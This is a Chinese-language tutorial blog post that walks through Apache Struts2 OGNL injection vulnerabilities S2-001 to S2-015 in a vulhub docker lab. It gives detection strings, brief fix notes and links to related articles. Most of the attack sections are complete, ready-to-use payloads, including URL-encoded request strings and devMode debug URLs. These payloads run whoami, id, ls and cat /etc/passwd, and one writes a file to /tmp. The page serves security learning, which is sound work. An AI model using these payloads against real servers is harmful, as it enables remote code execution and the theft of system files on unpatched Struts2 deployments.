Struts2漏洞总结(上)

本文涉及的产品
公共DNS(含HTTPDNS解析),每月1000万次HTTP解析
云解析 DNS,旗舰版 1个月
全局流量管理 GTM,标准版 1个月
简介: Struts2漏洞总结

Struts2简介


Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互。Struts 2是Struts的下一代产品,是在 struts 1和WebWork的技术基础上进行了合并的全新的Struts 2框架。其全新的Struts 2的体系结构与Struts 1的体系结构差别巨大。Struts 2以WebWork为核心,采用拦截器的机制来处理用户的请求,这样的设计也使得业务逻辑控制器能够与ServletAPI完全脱离开,所以Struts 2可以理解为WebWork的更新产品。虽然从Struts 1到Struts 2有着非常大的变化,但是相对于WebWork,Struts 2的变化很小

环境搭建


从git仓库获取vulhub

gitclone https://github.com/vulhub/vulhub.git

环境创建

到漏洞目录下:docker-compose -d up浏览器访问ip:8080

S2-001


该漏洞因为用户提交表单数据并且验证失败时,后端会将用户之前提交的参数值使用 OGNL 表达式 %{value} 进行解析,然后重新填充到对应的表单数据中。例如注册或登录页面,提交失败后端一般会默认返回之前提交的数据,由于后端使用 %{value} 对提交的数据执行了一次 OGNL 表达式解析,所以可以直接构造 Payload 进行命令执行

检测是否存在


%{1+1}   #需要进行url编码

burp抓包,password那里输入%25%7B1%2B1%7D,返回包里返回了解析了代码,返回2说明存在该漏洞

640.png

命令执行


%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


执行了whoami并返回了结果


640.png

执行任意命令时,如果所执行的命令需要组合 : 例如: 把""whoami"换成"cat","/etc/passwd"

修复方案

改变ognl表达式的解析方法从而不会产生递归解析,用户的输入也不会再解析执行


S2 -005

s2-005漏洞的起源源于S2-003(受影响版本: 低于Struts 2.0.12),struts2会将http的每个参数名解析为OGNL语句执行(可理解为java代码)。OGNL表达式通过#来访问struts的对象,struts框架通过过滤#字符防止安全问题,然而通过unicode编码(\u0023)或8进制(\43)即绕过了安全限制,对于S2-003漏洞,官方通过增加安全配置(禁止静态方法调用和类方法执行等)来修补,但是安全配置被绕过再次导致了漏洞,攻击者可以利用OGNL表达式将这2个选项打开,S2-003的修补方案把自己上了一个锁,但是把锁钥匙给插在了锁头上

任意文件写入(无回显)

空格用@代替


?(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)(('%5cu0023rt.exec(%22touch@/tmp/success%22.split(%22@%22))')(%5cu0023rt%5cu003d@java.lang.Runtime@getRuntime()))=1


640.png

burp抓包写入文件success到目标/tmp目录下

640.png

进入容器: docker exec -it  ID号 /bin/bash到tmp目录下查看,写入成功

640.png

命令执行

执行命令没有回显:

k8进行测试发现并不是因为tomcat8的问题,k8可以执行返回命令等。打开wireshare抓取k8的流量分析,,发现k8的payload

640.png


('\43_memberAccess.allowStaticMethodAccess')(a)=true&(b)(('\43context[\'xwork.MethodAccessor.denyMethodExecution\']\75false')(b))=&('\43c')(('\43_memberAccess.excludeProperties\75@java.util.Collections@EMPTY_SET')(c))=&(g)(('\43mycmd\75\'whoami\'')(d))=&(h)(('\43myret\75@java.lang.Runtime@getRuntime().exec(\43mycmd)')(d))=&(i)(('\43mydat\75new\40java.io.DataInputStream(\43myret.getInputStream())')(d))=&(j)(('\43myres\75new\40byte[51020]')(d))=&(k)(('\43mydat.readFully(\43myres)')(d))=&(l)(('\43mystr\75new\40java.lang.String(\43myres)')(d))=&(m)(('\43myout\75@org.apache.struts2.ServletActionContext@getResponse()')(d))=&(n)(('\43myout.getWriter().println(\43mystr)')(d))

burp抓包进入命令执行,成功执行了whoami命令

640.png

修复方案

将apache系统参数值denyMethodExecution设置为关闭,然后将参数的拦截过滤系统进行了升级,更为严格的一个正则表达式过滤


S2-007


age来自于用户输入,传递一个非整数给id导致错误,struts会将用户的输入当作ongl表达式执行,从而导致了漏洞。

检测是否存在


'+(1+1)+'

在年龄age框中输入非数字类型值点击登陆,,,年龄age框的值变成 11,证明漏洞存在

640.png


命令执行

' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

直接在年龄age框输入输入要执行的任意代码的代码,点击登陆提交,页面会返回响应的执行结果

640.png

找到代码中的exec('id')值,将id改为你想要执行的命令即可,例如:exec('cat /etc/passwd')

修复方案

对其过滤系统进行升级,严格执行正则表达式过滤一些可能导致注入的非法参数


S2-008


S2-008 涉及多个漏洞,Cookie 拦截器错误配置可造成 OGNL 表达式执行,但是由于大多 Web 容器(如 Tomcat)对 Cookie 名称都有字符限制,一些关键字符无法使用使得这个点显得比较鸡肋。另一个比较鸡肋的点就是在 struts2 应用开启 devMode 模式后会有多个调试接口能够直接查看对象信息或直接执行命令,正如 kxlzx 所提这种情况在生产环境中几乎不可能存在,因此就变得很鸡肋的,但我认为也不是绝对的,万一被黑了专门丢了一个开启了 debug 模式的应用到服务器上作为后门也是有可能的。

命令执行


http://localhost:8080/devmode.action?debug=command&expression=%23context%5B%22xwork.MethodAccessor.denyMethodExecution%22%5D%3Dfalse%2C%23f%3D%23_memberAccess.getClass().getDeclaredField(%22allowStaticMethodAccess%22)%2C%23f.setAccessible(true)%2C%23f.set(%23_memberAccess%2Ctrue)%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec(%22ls%22).getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23genxor%3D%23context.get(%22com.opensymphony.xwork2.dispatcher.HttpServletResponse%22).getWriter()%2C%23genxor.println(%23d)%2C%23genxor.flush()%2C%23genxor.close()


640.png

可修改ls为任意系统命令

执行exp后会下载一个.action文件,获取到的信息存放在该文件中

c25102f255a2d3983f16123128151d90.png

命令执行2

可直接在浏览器里执行,跟换ls+-la可执行任意系统命令。+:替换空格


http://localhost:8080/devmode.action?debug=command&expression=(%23_memberAccess%5b%22allowStaticMethodAccess%22%5d%3dtrue%2c%23foo%3dnew+java.lang.Boolean(%22false%22)+%2c%23context%5b%22xwork.MethodAccessor.denyMethodExecution%22%5d%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27ls+-la%27).getInputStream()))

4fb2bf0ae5a00f0fcf8cd8ed5982d519.png

修复方案

对其过滤系统进行升级,严格执行正则表达式过滤一些可能导致注入的非法参数


S2-009


OGNL提供了广泛的表达式评估功能等功能,该漏洞允许恶意用户绕过ParametersInterceptor内置的所有保护(正则表达式,拒绝方法调用),从而能够将任何暴露的字符串变量中的恶意表达式注入进行进一步评估

命令执行

漏洞点:在/ajax/example5路径下


http://192.168.3.134:8080/ajax/example5?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

有时候访问成功后会弹出一个下载文件,该文件里保存了命令执行结果,直接保存下载该文件,在本地查看即可

b2a6387d94fb252f45947d09a962ca68.png

17ce080debf7c532df28efd501019afb.png

修复方案

对其过滤系统进行升级,严格执行正则表达式过滤一些可能导致注入的非法参数


S2-012


当发生重定向时,OGNL表达式会进行二次评估,导致之前在S2-005、S2-009进行的参数过滤未对重定向值进行过滤,导致了OGNL表达式的执行

当重定向结果从堆栈中读取并使用先前注入的代码作为重定向参数时,将进行第二次评估,这使恶意用户可以将任意OGNL语句放入由操作公开的任何未过滤的String变量中,并将其评估为OGNL表达式,以启用方法执行并执行任意方法,从而绕过Struts和OGNL库保护

命令执行

burp抓包进行命令执行需要url编码


%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}


43ca51953a476e8449b82efa1a3b4e03.png

822f87e80523b910d6aac6e6364ed3ee.png

修复方案

漏洞的修复官方进行了表达式解析的安全过滤

S2-013


s:url和s:a标记都提供includeparams属性。该属性的主要作用域是了解包含或不包含http://request参数的内容。INCLUDEParams的允许值为:none-在URL中不包含任何参数(默认),get-仅在URL中包含get参数,all-在URL中同时包含get和post参数。当INCLUDEParams被赋予了以上参数,struts会进行OGNL解析

检测是否存在


link.action?a=%24%7B1%2B1%7D


80b7aaea8a2f281d046352c35c0e6c54.png

命令执行

经过url编码,执行cat /etc/passwd


/link.action?a=%24%7B%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D%40java.lang.Runtime%40getRuntime().exec('cat /etc/passwd').getInputStream()%2C%23b%3Dnew%20java.io.InputStreamReader(%23a)%2C%23c%3Dnew%20java.io.BufferedReader(%23b)%2C%23d%3Dnew%20char%5B50000%5D%2C%23c.read(%23d)%2C%23out%3D%40org.apache.struts2.ServletActionContext%40getResponse().getWriter()%2C%23out.println('dbapp%3D'%2Bnew%20java.lang.String(%23d))%2C%23out.close()%7D

1e6afff91c46fc0f04a7280aef4870a9.png

修复方案

对DefaultActionMapper的类进行了安全检测,过滤非法的注入代码

S2-015


漏洞产生于配置了 Action 通配符 *,并将其作为动态值时,解析时会将其内容执行 OGNL 表达式

命令执行


%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass%28%29.getDeclaredField%28%27allowStaticMethodAccess%27%29%2C%23m.setAccessible%28true%29%2C%23m.set%28%23_memberAccess%2Ctrue%29%2C%23q%3D@org.apache.commons.io.IOUtils@toString%28@java.lang.Runtime@getRuntime%28%29.exec%28%27whoami%27%29.getInputStream%28%29%29%2C%23q%7D.action


215fcd4adc44b53b2b5eaa766991eb6c.png

修复方案

更新Struts2版本


相关文章
|
Web App开发 移动开发 安全
Struts2 S2-062 (CVE-2021-31805) 远程代码执行漏洞
Apache 官方发布了 Apache Struts2 的风险通告,漏洞编号为 CVE-2021-31805,可能会导致远程代码执行。
182 1
|
XML SQL 安全
Struts2 漏洞集合
Struts2 漏洞集合
|
3月前
|
安全 Java 网络安全
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
Apache Struts 2 2.3.14.3 远程代码执行(CVE-2013-2134)
|
安全 前端开发 Java
struts2-046 远程代码执行 (CVE-2017-5638)
struts2-046 远程代码执行 (CVE-2017-5638)
592 0
struts2-046 远程代码执行 (CVE-2017-5638)
|
存储 安全 前端开发
springboot下xss漏洞的修复
还有很多修复方式,比如可以利用springcloud gateway进行过滤,但是主要应用本身也要进行加固,网关只能过滤外部威胁
643 0
|
安全 前端开发 Java
最新!Apache Struts 又爆安全漏洞(危害程度特别大)
最新!Apache Struts 又爆安全漏洞(危害程度特别大)
348 0
|
XML 安全 网络协议
WEB常见漏洞之XXE(靶场篇)
WEB常见漏洞之XXE(靶场篇)
1031 0
|
XML 安全 Java
|
安全 Oracle 关系型数据库
【WEB安全】Apache Shiro 反序列化漏洞(下)
Apache Shiro是一款开源企业常见JAVA安全框架,提供身份验证、授权、密码学和会话管理。java中的权限框架有SpringSecurity和Shiro,由于Spring功能强大但复杂,Shiro的简单强大,扩展性好因此用的还是很多。
389 0
【WEB安全】Apache Shiro 反序列化漏洞(下)